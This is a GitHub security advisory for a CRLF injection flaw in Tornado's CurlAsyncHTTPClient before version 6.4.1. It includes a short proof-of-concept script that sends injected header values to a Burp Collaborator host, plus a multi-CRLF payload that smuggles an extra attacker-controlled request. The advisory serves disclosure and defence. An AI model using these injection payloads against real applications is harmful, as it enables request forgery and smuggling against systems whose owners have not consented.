GHSA-w235-7p84-xx57 – tornado

Package

Manager: pip
Name: tornado
Vulnerable Version: >=0 <6.4.1

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS: N/A pctlN/A

Details

Tornado has a CRLF injection in CurlAsyncHTTPClient headers ### Summary Tornado’s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers. ### Details When an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server. This behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters. This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl’s documentation states: > The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters. pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics. ### PoC The issue can be reproduced using the following script: ```python import asyncio from tornado import httpclient from tornado import curl_httpclient async def main(): http_client = curl_httpclient.CurlAsyncHTTPClient() request = httpclient.HTTPRequest( # Burp Collaborator payload "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/", method="POST", body="body", # Injected header using CRLF characters headers={"Foo": "Bar\r\nHeader: Injected"} ) response = await http_client.fetch(request) print(response.body) http_client.close() if __name__ == "__main__": asyncio.run(main()) ``` When the specified server receives the request, it contains the injected header (`Header: Injected`) on its own line: ```http POST / HTTP/1.1 Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com User-Agent: Mozilla/5.0 (compatible; pycurl) Accept: */* Accept-Encoding: gzip,deflate Foo: Bar Header: Injected Content-Length: 4 Content-Type: application/x-www-form-urlencoded body ``` The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of `\r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server receiving an additional, attacker-controlled request: ```http POST /attacker-controlled-url HTTP/1.1 Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com Content-Length: 4 Content-Type: application/x-www-form-urlencoded body ``` ### Impact Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.

Metadata

Created: 2024-06-06T21:46:31Z
Modified: 2024-06-06T21:46:31Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-w235-7p84-xx57/GHSA-w235-7p84-xx57.json
CWE IDs: ["CWE-93"]
Alternative ID: N/A
Finding: F184
Auto approve: 1